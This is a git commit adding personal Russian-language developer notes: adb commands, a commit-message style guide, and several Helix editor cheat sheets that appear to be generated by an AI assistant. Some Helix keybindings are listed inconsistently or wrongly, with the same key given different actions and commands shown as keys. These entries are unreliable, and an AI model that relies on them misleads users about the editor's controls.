migrations

This commit is contained in:
Rorik Star Platinum 2025-11-22 17:48:07 +03:00
parent d1b0670d71
commit f2b07c9f30
57 changed files with 2970 additions and 1 deletions

4
00-english/vovabulary.md Normal file
View file

@ -0,0 +1,4 @@
**distinguish** - отличить
- bees are unable to distinguish between red, black, and various grays
straightforward - ![[Pasted image 20251105170221.png]]

View file

@ -0,0 +1,7 @@
```
# Просмотр подключённых устройств adb devices
# Получить файл с телефона на ноутбук (самое частое)
adb pull /sdcard/Download/файл.txt ~/Downloads/
# Отправить файл на телефон adb push ~/файл.txt /sdcard/
```

View file

@ -0,0 +1,232 @@
## Как писать коммиты как senior девелопер
Это не просто про формат — это про философию. Senior коммиты рассказывают историю проекта, облегчают отладку и экономят часы времени команде при code review. Вот полный гайд.[dev+5](https://dev.to/aneeqakhan/best-practices-for-git-and-version-control-588m)
## 📋 Фундаментальный принцип: Atomic Commits
**Основное правило:** Один коммит = один логический блок работы. Не больше, не меньше.[gitbybit+1](https://gitbybit.com/gitopedia/best-practices/atomic-commits)
**Bad (как junior):**
text
`commit 6a7f9c3: "Добавил купоны, отфиксил ссылки в письмах и рефакторил email scheduler"`
**Good (как senior):**
text
`commit a1b2c3d: "feat(coupons): add coupon validation and application logic" commit d4e5f6g: "fix(email): correct notification template links" commit h7i8j9k: "refactor(scheduler): simplify email scheduling algorithm"`
Почему? Потому что через месяц ты найдёшь баг в купонах и сделаешь `git bisect` — он точно укажет именно на первый коммит, не трогая остальное.[justinjoyce+2](https://justinjoyce.dev/git-commit-and-commit-message-best-practices/)
## 🎯 Conventional Commits (стандарт индустрии)
Используй этот формат — его поддерживают инструменты автоматизации, CI/CD пайплайны генерируют CHANGELOG сами:[philipp-doblhofer+2](https://www.philipp-doblhofer.at/en/blog/automatic-changelog-and-versioning-with-git/)
text
`<type>[optional scope]: <description> [optional body] [optional footer(s)]`
**Типы коммитов:**
|Тип|Использование|Semver|
|---|---|---|
|`feat`|Новая фича|MINOR (+0.1.0)|
|`fix`|Исправление бага|PATCH (+0.0.1)|
|`BREAKING CHANGE`|Ломающее изменение API|MAJOR (+1.0.0)|
|`refactor`|Переписал без изменения поведения|PATCH|
|`perf`|Улучшил производительность|PATCH|
|`docs`|Только документация|-|
|`chore`|Build, deps, tooling|-|
|`test`|Добавил/изменил тесты|-|
|`ci`|Изменения CI/CD конфига|-|
|`style`|Форматирование (не логика)|-|
[opensight+2](https://blog.opensight.ch/git-semantic-versioning-und-conventional-commits/)
**Примеры:**
bash
`# ✅ Good feat(auth): add JWT token refresh mechanism fix(api): handle null response from external service refactor(parser): extract token validation into separate function perf(cache): implement Redis caching for frequently accessed data docs(readme): update installation instructions for Node 18+ # ❌ Bad updated code fix bug changes WIP todo`
## 📝 Правила написания сообщения
**Subject (первая строка — максимум 50 символов):**
1. **Используй повелительное наклонение** (imperative mood) — "Add", "Fix", а не "Added", "Fixed"[gitkraken+3](https://www.gitkraken.com/learn/git/best-practices/git-commit-message)
- Проверка: "If applied, my commit will **[ваше сообщение]**"
- "If applied, my commit will **add JWT token refresh**" ✅
- "If applied, my commit will **added JWT token**" ❌
2. **Не ставь точку в конце**[gitkraken](https://www.gitkraken.com/learn/git/best-practices/git-commit-message)
3. **Начни с заглавной буквы**[dev+1](https://dev.to/aneeqakhan/best-practices-for-git-and-version-control-588m)
4. **Конкретно описывай ЧТО, не ПОЧЕМУ** (ПОЧЕМУ — в body)[dev+2](https://dev.to/this-is-learning/the-power-of-atomic-commits-in-git-how-and-why-to-do-it-54mn)
**Body (опционально, но рекомендуется):**
- Отдели пустой строкой от subject
- Обясни **ПОЧЕМУ** ты это сделал, не ЧТО сделал
- Укажи мотивацию и контекст
- Упомяни issue/ticket номер
text
`feat(payment): implement Stripe webhook handler Add webhook endpoint to handle Stripe payment events. This replaces the previous polling mechanism which caused 5-10 second delays in payment confirmation. Supports events: - payment_intent.succeeded - payment_intent.payment_failed Closes #1234 Related-to: #5678`
## 🎮 Advanced techniques для senior
## 1. Interactive Staging (`git add -p`)
Когда в одном файле несколько независимых изменений — stage их отдельно:[dev+2](https://dev.to/theramoliya/git-interactive-add-for-precise-staging-33m1)
bash
`# Запустить интерактивный режим git add -p # Git покажет каждый "hunk" (блок) изменений: # (1/2) Stage this hunk [y,n,q,a,d,j,J,k,K,s,e,?]? # Команды: # y = stage this hunk # n = skip # s = split into smaller hunks (если hunk слишком большой) # e = manually edit this hunk`
**Пример:** Ты отфиксил баг в функции AND случайно отреформатировал другую функцию. Используй `git add -p`, чтобы добавить только багфикс в один коммит, а рефакторинг — в другой.[git-scm+2](https://git-scm.com/book/en/v2/Git-Tools-Interactive-Staging)
## 2. Commit Often, Squash on PR
**Local workflow (когда разрабатываешь):**
Коммиться часто — чуть ли не каждые 5-10 минут:[justinjoyce+1](https://justinjoyce.dev/git-commit-and-commit-message-best-practices/)
bash
`# 5 минут работы git commit -m "WIP: parsing implementation" # 5 минут работы git commit -m "add error handling" # 5 минут работы git commit -m "fix edge case"`
**Перед push на PR:**
Используй interactive rebase для squash в один красивый коммит:[graphite+2](https://graphite.dev/guides/how-to-squash-git-commits)
bash
`# Узнай количество коммитов git log --oneline | head -10 # Rebase последних 3 коммитов git rebase -i HEAD~3`
В редакторе измени команды:
text
`pick a1b2c3d WIP: parsing implementation squash d4e5f6g add error handling squash h7i8j9k fix edge case`
Сохрани → Git откроет редактор для финального message → напиши нормальный subject:[freecodecamp+2](https://www.freecodecamp.org/news/git-squash-commits/)
text
`feat(parser): implement JSON parser with error handling - Parse nested structures - Handle validation errors gracefully - Support edge cases with null/undefined values`
## 3. Amending commits
Забыл добавить файл или опечатка в message? Не создавай новый коммит:[datacamp+2](https://www.datacamp.com/tutorial/git-amend)
bash
`# Опечатка в message последнего коммита git commit --amend -m "fix(auth): correct typo in comment" # Забыл файл git add forgotten-file.rs git commit --amend --no-edit`
⚠️ **Важно:** Не амендь коммиты, которые уже pushed в shared branch! Это сломает историю для всех.[kodaschool+2](https://kodaschool.com/blog/amending-the-most-recent-commit-with-git)
## 4. Reflog для спасения
Если переборщил с rebase и потерял коммиты — не паникуй:[justinjoyce](https://justinjoyce.dev/git-commit-and-commit-message-best-practices/)
bash
`# Увидишь всю историю операций git reflog # Вернёшься на нужное состояние git reset --hard abc123d@{2}`
## 🎯 Настройки для удобства
**~/.gitconfig:**
text
`[user] name = Your Name email = you@example.com [core] editor = vim # или nano, code, etc. [alias] # Удобные aliases cm = commit -m amend = commit --amend --no-edit co = checkout br = branch unstage = reset HEAD last = log -1 HEAD # Красивый лог lg = log --graph --oneline --all --decorate [rebase] autostash = true # Автоматически stash перед rebase [pull] rebase = true # Rebase вместо merge при pull`
## 📊 Workflow: step-by-step для PR
**1. Работаешь над фичей:**
bash
`git checkout -b feat/user-authentication # Часто коммитишься (не думаешь об истории) git commit -m "WIP: add login form" git commit -m "add password validation" git commit -m "integrate with auth service" git commit -m "fix bug with token expiry"`
**2. Перед PR: cleanup история**
bash
`# Посмотри что есть git log --oneline origin/main..HEAD # Если совсем много коммитов git rebase -i origin/main # Или если точно знаешь кол-во git rebase -i HEAD~4`
**3. В редакторе:**
text
`pick a1b2c3d WIP: add login form squash d4e5f6g add password validation squash h7i8j9k integrate with auth service squash k9l0m1n fix bug with token expiry`
**4. Напиши финальный message:**
text
`feat(auth): implement JWT-based user authentication Add login/logout functionality with password validation. Tokens refresh automatically after 1 hour. Implements RFC 7519 JWT standard. - User registration with email verification - Secure password hashing with bcrypt - Token refresh mechanism - Logout clears session Closes #456`
**5. Push:**
bash
`git push origin feat/user-authentication`
## 🚫 Что НЕ делать (как junior)
- **Огромные коммиты** с кучей фич — невозможно code review[gitbybit+1](https://gitbybit.com/gitopedia/best-practices/atomic-commits)
- **Вагие сообщения** ("fix bug", "updated", "wip") — потом сам не поймёшь[codefinity+2](https://codefinity.com/blog/7-Best-Practices-of-Git-Commit-Messages)
- **Смешивать логику и форматирование** — затрудняет `git blame`[gitbybit+1](https://gitbybit.com/gitopedia/best-practices/atomic-commits)
- **Коммитить commented code** — если не нужно, удали[dev](https://dev.to/aneeqakhan/best-practices-for-git-and-version-control-588m)
- **Амендить уже pushed коммиты** в shared branch — травма для команды[datacamp](https://www.datacamp.com/tutorial/git-amend)
## Итог для твоего стека
Если ты backend-разработчик на Rust/FastAPI:
**Пример реального коммита для Axum middleware:**
text
`feat(auth): add rate limiting middleware Implement token bucket algorithm for request rate limiting. Prevents brute force attacks on login endpoint. - Configurable requests-per-minute limit - Per-IP rate limiting with Redis backend - Returns 429 Too Many Requests on limit exceeded - Exports Prometheus metrics for monitoring Performance: ~0.1ms per request overhead Closes #892`
Это **куда важнее**, чем технические skills — senior ценят за историю, которая сама себя документирует и облегчает дебагинг всвсей команде.
1. [https://dev.to/aneeqakhan/best-practices-for-git-and-version-control-588m](https://dev.to/aneeqakhan/best-practices-for-git-and-version-control-588m)
2. [https://gitbybit.com/gitopedia/best-practices/atomic-commits](https://gitbybit.com/gitopedia/best-practices/atomic-commits)
3. [https://www.philipp-doblhofer.at/en/blog/automatic-changelog-and-versioning-with-git/](https://www.philipp-doblhofer.at/en/blog/automatic-changelog-and-versioning-with-git/)
4. [https://justinjoyce.dev/git-commit-and-commit-message-best-practices/](https://justinjoyce.dev/git-commit-and-commit-message-best-practices/)
5. [https://dev.to/this-is-learning/the-power-of-atomic-commits-in-git-how-and-why-to-do-it-54mn](https://dev.to/this-is-learning/the-power-of-atomic-commits-in-git-how-and-why-to-do-it-54mn)
6. [https://codefinity.com/blog/7-Best-Practices-of-Git-Commit-Messages](https://codefinity.com/blog/7-Best-Practices-of-Git-Commit-Messages)
7. [https://blog.opensight.ch/git-semantic-versioning-und-conventional-commits/](https://blog.opensight.ch/git-semantic-versioning-und-conventional-commits/)
8. [https://dev.to/devsatasurion/automate-changelogs-to-ease-your-release-282](https://dev.to/devsatasurion/automate-changelogs-to-ease-your-release-282)
9. [https://www.gitkraken.com/learn/git/best-practices/git-commit-message](https://www.gitkraken.com/learn/git/best-practices/git-commit-message)
10. [https://dev.to/theramoliya/git-interactive-add-for-precise-staging-33m1](https://dev.to/theramoliya/git-interactive-add-for-precise-staging-33m1)
11. [https://git-scm.com/book/en/v2/Git-Tools-Interactive-Staging](https://git-scm.com/book/en/v2/Git-Tools-Interactive-Staging)
12. [https://dev.to/etcwilde/git-and-the-interactive-patch-add](https://dev.to/etcwilde/git-and-the-interactive-patch-add)
13. [https://graphite.dev/guides/how-to-squash-git-commits](https://graphite.dev/guides/how-to-squash-git-commits)
14. [https://www.freecodecamp.org/news/git-squash-commits/](https://www.freecodecamp.org/news/git-squash-commits/)
15. [https://www.datacamp.com/tutorial/git-squash-commits](https://www.datacamp.com/tutorial/git-squash-commits)
16. [https://www.datacamp.com/tutorial/git-amend](https://www.datacamp.com/tutorial/git-amend)
17. [https://kodaschool.com/blog/amending-the-most-recent-commit-with-git](https://kodaschool.com/blog/amending-the-most-recent-commit-with-git)
18. [https://www.codecademy.com/article/git-commit-amend](https://www.codecademy.com/article/git-commit-amend)
19. [https://www.cockroachlabs.com/blog/parallel-commits/](https://www.cockroachlabs.com/blog/parallel-commits/)
20. [https://stackoverflow.com/questions/68095467/git-interactive-rebase-squash-commits-any-shortcuts](https://stackoverflow.com/questions/68095467/git-interactive-rebase-squash-commits-any-shortcuts)

View file

@ -0,0 +1,3 @@
git push new-origin --all
git remote add new-origin ssh://git@git-ssh.21-school.ru:2222/students_repo/rorikstr/CPP1_s21_matrixplus.ID_353533-3.git
cd ~/src/me/s21/cpp/CPP1_s21_matrixplus.ID_353533-2

View file

@ -0,0 +1,143 @@
В Helix управление буферами очень удобно. Вот основные команды и действия, чтобы:
---
## Как открыть новый буфер
- Открыть файл в новом буфере:
text
`:open filename`
или клавиша быстрого вызова:
text
`<space> f`
Вызовет **file picker**, где можно выбрать или ввести имя файла.
- Открыть новый пустой (scratch) буфер:
text
`:new`
Можно использовать также `:vnew` (вертикальный сплит) или `:hsplit` (горизонтальный сплит).
---
## Как переключаться между буферами
- Открыть список буферов (buffer picker):
text
`<space> b`
Навигация стрелками для выбора.
- Следующий буфер:
text
`gn`
- Предыдущий буфер:
text
`gp`
- Перейти к конкретному буферу по номеру (если есть номера в конфиге):
text
`:buffer N`
---
## Как закрыть буфер
- Закрыть текущий буфер:
text
`:buffer-close`
или короче
text
`bc`
- Закрыть все другие буферы кроме текущего:
text
`:buffer-close-others`
или
text
`bca`
- Закрыть буфер с сохранением:
text
`:write-buffer-close`
или
text
`wbc`
---
## Полезные команды для буферов
|Команда|Назначение|
|---|---|
|`<space> b`|Открыть picker буферов|
|`gn`|Следующий буфер|
|`gp`|Предыдущий буфер|
|`bc`|Закрыть текущий буфер|
|`bca`|Закрыть все, кроме текущего|
|`:open filename`|Открыть файл в новом буфере|
|`:new`|Новый пустой буфер (scratch)|
|`wbc`|Сохранить и закрыть буфер|
---
## Быстрая шпаргалка по буферам
|Действие|Команда|
|---|---|
|Открыть файл в буфере|`<space> f` / `:open filename`|
|Переключиться|`gn` / `gp` / `<space> b`|
|Закрыть буфер|`bc`|
|Закрыть другие буферы|`bca`|
|Новый пустой буфер|`:new`|
|Сохранить и закрыть|`wbc`|
---
Это покрывает весь базовый и продвинутый workflow вокруг работы с буферами в Helix, удобно и быстро! 🚀
1. [https://github.com/helix-editor/helix/discussions/5865](https://github.com/helix-editor/helix/discussions/5865)
2. [https://github.com/helix-editor/helix/issues/475](https://github.com/helix-editor/helix/issues/475)
3. [https://github.com/helix-editor/helix/discussions/10430](https://github.com/helix-editor/helix/discussions/10430)
4. [https://rushter.com/blog/helix-editor/](https://rushter.com/blog/helix-editor/)
5. [https://www.youtube.com/watch?v=2P8GP1LEfKE](https://www.youtube.com/watch?v=2P8GP1LEfKE)
6. [https://github.com/helix-editor/helix/discussions/6057](https://github.com/helix-editor/helix/discussions/6057)
7. [https://www.reddit.com/r/HelixEditor/comments/1i2m50c/i_keep_closing_the_whole_editor_when_i_want_to/](https://www.reddit.com/r/HelixEditor/comments/1i2m50c/i_keep_closing_the_whole_editor_when_i_want_to/)
8. [https://github.com/helix-editor/helix/discussions/6983](https://github.com/helix-editor/helix/discussions/6983)
9. [https://docs.helix-editor.com/commands.html](https://docs.helix-editor.com/commands.html)
10. [https://www.youtube.com/watch?v=S4tTZjz-NTc](https://www.youtube.com/watch?v=S4tTZjz-NTc)

View file

@ -0,0 +1,97 @@
Отлично! В Helix есть **несколько способов** увидеть несохранённые изменения:
## 1. Индикатор в статус-баре (самый простой)
**Смотри на статус-бар внизу экрана**:[github+1](https://github.com/helix-editor/helix/issues/4686)
text
`NOR path/to/file.rs [+] 12:34 rust ↑ несохранённые изменения!`
**`[+]`** (или `[modified]`) означает, что файл изменён но не сохранён.[dev+1](https://dev.to/rajasegar/the-helix-way-36mh)
Если индикатора нет — файл сохранён ✅
## 2. Git diff gutter (если файл в git)
**Цветные полоски слева от номеров строк**:[helix-editor](https://docs.helix-editor.com/master/editor.html)
text
`│ 1 fn main() { ~ 2 println!("modified"); ← оранжевая волна = изменено + 3 let x = 5; ← зелёная полоса = добавлено - 4 // deleted line ← красная полоса = удалено │ 5 }`
Включено по умолчанию для git-репозиториев.[helix-editor](https://docs.helix-editor.com/master/editor.html)
## 3. Команды навигации по изменениям
**`]g`** — следующее изменение (goto next change)[helix-editor](https://docs.helix-editor.com/commands.html)
**`[g`** — предыдущее изменение (goto prev change)[helix-editor](https://docs.helix-editor.com/commands.html)
**`]G`** — последнее изменение (goto last change)[helix-editor](https://docs.helix-editor.com/commands.html)
**`[G`** — первое изменение (goto first change)[helix-editor](https://docs.helix-editor.com/commands.html)
Прыгает курсором между изменёнными строками, чтобы ты мог быстро посмотреть, что менялось.[helix-editor](https://docs.helix-editor.com/commands.html)
## 4. Проверка при выходе
Если пытаешься выйти с несохранёнными изменениями:
**`:q`** или **`:quit`** — Helix покажет **предупреждение**:
text
`Error: Unsaved changes! Use :q! to force quit.`
**`:q!`** или **`:quit!`** — выйти БЕЗ сохранения (потеря изменений).[helix-editor](https://docs.helix-editor.com/commands.html)
## 5. Список открытых буферов (buffer line)
Включи **buffer line** в конфиге:[dev](https://dev.to/rajasegar/the-helix-way-36mh)
text
`# ~/.config/helix/config.toml [editor] bufferline = "always" # или "multiple"`
Тогда сверху появится панель со всеми открытыми файлами:
text
`file1.rs file2.rs [+] file3.c ↑ несохранённый файл`
## 6. Diff с сохранённой версией (нет из коробки)
К сожалению, Helix **пока не поддерживает** встроенную команду "show unsaved changes" (как в VSCode или Sublime). Это feature request.[github+1](https://github.com/helix-editor/helix/discussions/8864)
**Workaround**: используй git diff:
bash
`# В терминале (вне Helix) git diff file.rs`
Или внутри Helix через shell:
**Space+c** → напечатай `!git diff %` (% = текущий файл)
## Лучшая практика
Комбинируй:
1. **Смотри на `[+]`** в статус-баре — главный индикатор[github](https://github.com/helix-editor/helix/issues/4686)
2. **Используй git diff gutter** — видишь изменения прямо в редакторе[helix-editor](https://docs.helix-editor.com/master/editor.html)
3. **Прыгай по `]g` / `[g`** — быстро проверить все правки[helix-editor](https://docs.helix-editor.com/commands.html)
4. **Включи bufferline** — видеть все несохранённые файлы сверху[dev](https://dev.to/rajasegar/the-helix-way-36mh)
Теперь никогда не потеряешь изменения!
1. [https://github.com/helix-editor/helix/issues/4686](https://github.com/helix-editor/helix/issues/4686)
2. [https://dev.to/rajasegar/the-helix-way-36mh](https://dev.to/rajasegar/the-helix-way-36mh)
3. [https://docs.helix-editor.com/master/editor.html](https://docs.helix-editor.com/master/editor.html)
4. [https://docs.helix-editor.com/commands.html](https://docs.helix-editor.com/commands.html)
5. [https://github.com/helix-editor/helix/discussions/8864](https://github.com/helix-editor/helix/discussions/8864)
6. [https://forum.sublimetext.com/t/improve-the-diff-shown-by-show-unsaved-changes/62198](https://forum.sublimetext.com/t/improve-the-diff-shown-by-show-unsaved-changes/62198)
7. [https://github.com/helix-editor/helix/issues/1125](https://github.com/helix-editor/helix/issues/1125)
8. [https://stackoverflow.com/questions/65874120/see-unsaved-changes-in-vscode](https://stackoverflow.com/questions/65874120/see-unsaved-changes-in-vscode)
9. [https://github.com/helix-editor/helix/issues/7481](https://github.com/helix-editor/helix/issues/7481)
10. [https://github.com/helix-editor/helix/issues/9655](https://github.com/helix-editor/helix/issues/9655)

View file

@ -0,0 +1,274 @@
# Полная Шпаргалка Клавиш Helix
## Основные Режимы (Mode Keys)
|Клавиша|Действие|
|---|---|
|`i`|Insert mode (вставка перед курсором)|
|`a`|Append (вставка после курсора)|
|`I`|Insert в начале строки|
|`A`|Append в конце строки|
|`o`|Open line below (новая строка ниже)|
|`O`|Open line above (новая строка выше)|
|`v`|Select/extend mode (режим выделения)|
|`Esc`|Вернуться в Normal mode|
|`:`|Command mode (командный режим)|
## Движение (Movement)
|Клавиша|Действие|
|---|---|
|`h`|Влево на символ|
|`j`|Вниз на строку|
|`k`|Вверх на строку|
|`l`|Вправо на символ|
|`w`|Следующее слово (начало)|
|`b`|Предыдущее слово (начало)|
|`e`|Следующее слово (конец)|
|`W`|Следующее WORD (с пробелами)|
|`B`|Предыдущее WORD|
|`E`|Конец WORD|
|`0`|Начало строки|
|`$`|Конец строки|
|`^`|Первый непробельный символ строки|
|`gg`|Начало файла|
|`ge` или `G`|Конец файла|
|`Ctrl-d`|Полстраницы вниз|
|`Ctrl-u`|Полстраницы вверх|
|`Ctrl-f`|Страница вниз (PageDown)|
|`Ctrl-b`|Страница вверх (PageUp)|
|`%`|Найти парную скобку|
## Выделение (Selection)
|Клавиша|Действие|
|---|---|
|`x`|Выделить строку целиком|
|`X`|Выделить строку (без перевода строки)|
|`w`|Выделить слово вперёд|
|`b`|Выделить слово назад|
|`%`|Выделить весь файл|
|`s`|Split selection (поиск по regex)|
|`;`|Collapse selection (убрать выделение)|
|`,`|Remove primary selection|
|`Alt-,`|Remove all secondary selections|
|`C`|Duplicate cursor down|
|`Alt-C`|Duplicate cursor up|
|`&`|Align selections|
## Match Mode (m + клавиша)
|Клавиша|Действие|
|---|---|
|`mm`|Goto matching bracket|
|`ms`|Surround add (добавить окружение)|
|`mr`|Surround replace|
|`md`|Surround delete|
|`mi(`|Select inside parentheses|
|`ma(`|Select around parentheses|
|`mi{`|Select inside braces|
|`ma{`|Select around braces|
|`mi"`|Select inside quotes|
|`ma"`|Select around quotes|
|`miw`|Select inside word|
|`maw`|Select around word|
|`mif`|Select inside function|
|`maf`|Select around function|
## Редактирование (Edit)
|Клавиша|Действие|
|---|---|
|`c`|Change (удалить выделение и войти в insert)|
|`d`|Delete (удалить выделение)|
|`y`|Yank (копировать)|
|`p`|Paste after cursor|
|`P`|Paste before cursor|
|`R`|Replace with yanked text|
|`u`|Undo|
|`U`|Redo|
|`r`|Replace character|
|`~`|Toggle case (upper/lower)|
|`` ` ``|Convert to lowercase|
|` Alt-`` ` ``|Convert to uppercase|
|`>`|Indent (вправо)|
|`<`|Unindent (влево)|
|`=`|Format selection (форматирование)|
|`J`|Join lines|
|`Alt-J`|Join lines with space|
|`K`|Keep selections matching regex|
|`Alt-K`|Remove selections matching regex|
## Поиск (Search)
|Клавиша|Действие|
|---|---|
|`/`|Search forward|
|`?`|Search backward|
|`n`|Next search match|
|`N`|Previous search match|
|`*`|Search current selection forward|
## Goto Mode (g + клавиша)
|Клавиша|Действие|
|---|---|
|`gh`|Goto line start|
|`gl`|Goto line end|
|`gs`|Goto first non-whitespace|
|`ge`|Goto last line|
|`gg`|Goto first line|
|`gt`|Goto window top|
|`gc`|Goto window center|
|`gb`|Goto window bottom|
|`gd`|Goto definition (LSP)|
|`gy`|Goto type definition|
|`gr`|Goto references|
|`gi`|Goto implementation|
|`ga`|Goto last accessed file|
|`gm`|Goto last modified file|
|`gn`|Goto next buffer|
|`gp`|Goto previous buffer|
|`g.`|Goto last modification|
## View Mode (z + клавиша)
|Клавиша|Действие|
|---|---|
|`zz`|Center cursor vertically|
|`zt`|Align cursor to top|
|`zb`|Align cursor to bottom|
|`zm`|Align cursor to middle|
|`zj`|Scroll down (одна строка)|
|`zk`|Scroll up (одна строка)|
|`Z`|Enter **sticky view mode** (прокрутка без движения курсора)|
|`Ctrl-d`|Scroll half page down|
|`Ctrl-u`|Scroll half page up|
## Window Mode (Ctrl-w + клавиша)
|Клавиша|Действие|
|---|---|
|`Ctrl-w v`|Vertical split|
|`Ctrl-w s`|Horizontal split|
|`Ctrl-w w`|Switch to next window|
|`Ctrl-w h`|Goto left window|
|`Ctrl-w j`|Goto bottom window|
|`Ctrl-w k`|Goto top window|
|`Ctrl-w l`|Goto right window|
|`Ctrl-w q`|Close current window|
|`Ctrl-w o`|Close all windows except current|
|`Ctrl-w H`|Swap window left|
|`Ctrl-w J`|Swap window down|
|`Ctrl-w K`|Swap window up|
|`Ctrl-w L`|Swap window right|
## Space Mode (Space + клавиша)
|Клавиша|Действие|
|---|---|
|`Space f`|File picker (открыть файл)|
|`Space F`|File picker (current directory)|
|`Space b`|Buffer picker (открытые файлы)|
|`Space k`|Hover (показать документацию LSP)|
|`Space s`|Symbol picker (функции/структуры)|
|`Space S`|Workspace symbol picker|
|`Space a`|Code actions (LSP)|
|`Space r`|Rename symbol (LSP)|
|`Space d`|Diagnostics picker (ошибки)|
|`Space D`|Workspace diagnostics|
|`Space h`|Highlight all occurrences|
|`Space /`|Global search (ripgrep)|
|`Space ?`|Command palette|
|`Space y`|Yank (copy) to clipboard|
|`Space p`|Paste from clipboard|
|`Space P`|Paste from clipboard before|
|`Space R`|Replace selections with clipboard|
|`Space w`|Save file (:write)|
|`Space q`|Quit (:quit)|
## LSP Специфичные
|Клавиша|Действие|
|---|---|
|`K`|Hover documentation|
|`gd`|Goto definition|
|`gy`|Goto type definition|
|`gr`|Goto references|
|`gi`|Goto implementation|
|`]d`|Next diagnostic (ошибка)|
|`[d`|Previous diagnostic|
|`Space a`|Code actions|
|`Space r`|Rename symbol|
## Insert Mode Специфичные
|Клавиша|Действие|
|---|---|
|`Ctrl-x`|Autocomplete|
|`Ctrl-w`|Delete word backward|
|`Ctrl-u`|Delete to line start|
|`Ctrl-k`|Delete to line end|
|`Ctrl-h`|Backspace|
|`Ctrl-d`|Delete forward|
|`Ctrl-j`|Insert newline|
## Диагностика и Отладка
|Клавиша|Действие|
|---|---|
|`]d`|Next diagnostic|
|`[d`|Previous diagnostic|
|`]g`|Next git change|
|`[g`|Previous git change|
|`]f`|Next function|
|`[f`|Previous function|
|`]c`|Next class|
|`[c`|Previous class|
## Дополнительные
|Клавиша|Действие|
|---|---|
|`.`|Repeat last change|
|`q`|Record macro (например, `qa` → запись в регистр a)|
|`Q`|Replay macro (например, `@a` в Vim, но в Helix просто `Q`)|
|`@`|Shell pipe (выполнить shell команду)|
|`!`|Shell pipe replace|
|`Alt-!`|Shell append output|
|`$`|Shell pipe each selection|
---
## Командный Режим (после `:`)
|Команда|Действие|
|---|---|
|`:w`|Write (save) file|
|`:q`|Quit|
|`:wq` или `:x`|Write and quit|
|`:q!`|Force quit (без сохранения)|
|`:open file.txt`|Open file|
|`:buffer-close`|Close current buffer|
|`:reload`|Reload file from disk|
|`:set key value`|Set option|
|`:vsplit`|Vertical split|
|`:hsplit`|Horizontal split|
|`:sh command`|Run shell command|
|`:insert-output command`|Insert shell command output|
|`:pipe command`|Pipe selection through command|
---
Эта шпаргалка покрывает **95% ежедневного использования** Helix. Сохрани в Obsidian и распечатай — первые недели будешь часто подглядывать, потом всё в мышечную память! 🚀
**Ключевое отличие от Vim:** в Helix **сначала выделение** (selection-first), **потом действие**. Это делает редактирование **предсказуемым** — ты всегда видишь, что изменишь, перед тем как это сделать.
1. [https://docs.helix-editor.com/keymap.html](https://docs.helix-editor.com/keymap.html)
2. [https://github.com/helix-editor/helix/discussions/12270](https://github.com/helix-editor/helix/discussions/12270)
3. [https://www.reddit.com/r/HelixEditor/comments/11hvikl/in_editor_keyboard_shortcuts_cheatsheet/](https://www.reddit.com/r/HelixEditor/comments/11hvikl/in_editor_keyboard_shortcuts_cheatsheet/)
4. [https://docs.helix-editor.com/remapping.html](https://docs.helix-editor.com/remapping.html)
5. [https://github.com/helix-editor/helix/issues/4864](https://github.com/helix-editor/helix/issues/4864)
6. [https://news.ycombinator.com/item?id=40492300](https://news.ycombinator.com/item?id=40492300)
7. [https://blog.ohheybrian.com/2023/01/this-was-written-with-helix](https://blog.ohheybrian.com/2023/01/this-was-written-with-helix)
8. [https://jonathan-frere.com/posts/helix/](https://jonathan-frere.com/posts/helix/)

View file

@ -0,0 +1,161 @@
**:w** или **:write**
**:bc** или **:buffer-close**
Отлично! В Helix есть мощная LSP-интеграция для навигации по коду. Вот полный гайд:
## Переход к определению и обратно
## Основные команды навигации (goto mode)
Нажми **g** затем:[helix-editor+2](https://docs.helix-editor.com/keymap.html)
**К определению:**
- **gd** — Go to **definition** (переход к определению функции/переменной)[helix-editor+2](https://docs.helix-editor.com/commands.html)
- **gy** — Go to **type definition** (переход к определению типа)[huqingye-1798.xlog+1](https://huqingye-1798.xlog.app/Helix-an-jian-ying-she--zhuan-)
- **gi** — Go to **implementation** (переход к реализации трейта/интерфейса)[helix-editor+1](https://docs.helix-editor.com/keymap.html)
**К использованиям:**
- **gr** — Go to **references** (показать все места, где используется функция)[kapeli+2](https://kapeli.com/cheat_sheets/Helix.docset/Contents/Resources/Documents/index)
## Возврат назад (Jumplist)
После перехода по `gd`, Helix автоматически сохраняет твою предыдущую позицию в **jumplist** (список переходов):[helix-editor](https://docs.helix-editor.com/master/jumplist.html)youtube
- **Ctrl+o** — jump **Out** (вернуться назад по jumplist)[reddit+1](https://www.reddit.com/r/HelixEditor/comments/1hhae1n/undo_go_to_definition/)youtube
- **Ctrl+i** — jump **In** (вернуться вперёд по jumplist)youtube[helix-editor](https://docs.helix-editor.com/master/jumplist.html)
- **Ctrl+s** — вручную сохранить текущую позицию в jumplist[helix-editor](https://docs.helix-editor.com/master/jumplist.html)youtube
**Пример воркфлоу:**
1. Ты на вызове функции `calculate_sum()`
2. Жмёшь **gd** → переходишь к определению
3. Смотришь код, делаешь правки
4. Жмёшь **Ctrl+o** → возвращаешься к вызову
5. Если нужно снова к определению — **Ctrl+i**
## Просмотр всего jumplist
**Space+j** — открыть picker со всеми сохранёнными переходамиyoutube[helix-editor](https://docs.helix-editor.com/master/jumplist.html)
Это интерактивное меню, где видны все позиции, куда ты прыгал. Можешь выбрать любую стрелками и нажать Enter.youtube
## Навигация между вызовами функции
**Найти все использования:**
1. Встань на имя функции
2. Нажми **gr** (goto references)[kapeli+1](https://kapeli.com/cheat_sheets/Helix.docset/Contents/Resources/Documents/index)
3. Откроется picker со всеми местами, где функция вызывается
4. Используй стрелки для выбора, Enter для перехода[huqingye-1798.xlog](https://huqingye-1798.xlog.app/Helix-an-jian-ying-she--zhuan-)
**Переход между функциями в файле:**
- **]f** — следующая функция (next function)[helix-editor+1](https://docs.helix-editor.com/keymap.html)
- **[f** — предыдущая функция (previous function)[huqingye-1798.xlog+1](https://huqingye-1798.xlog.app/Helix-an-jian-ying-she--zhuan-)
Это работает через Tree-sitter (TS), не требует LSP.[helix-editor+1](https://docs.helix-editor.com/keymap.html)
## Навигация по диагностике (ошибки/предупреждения)
Бонус для дебага:[huqingye-1798.xlog+1](https://huqingye-1798.xlog.app/Helix-an-jian-ying-she--zhuan-)
- **]d** — следующая ошибка/предупреждение
- **[d** — предыдущая ошибка
- **[D** — первая ошибка в файле
- **]D** — последняя ошибка в файле
## Полный workflow для Rust-разработки
**Сценарий 1: Изучение чужого кода**
text
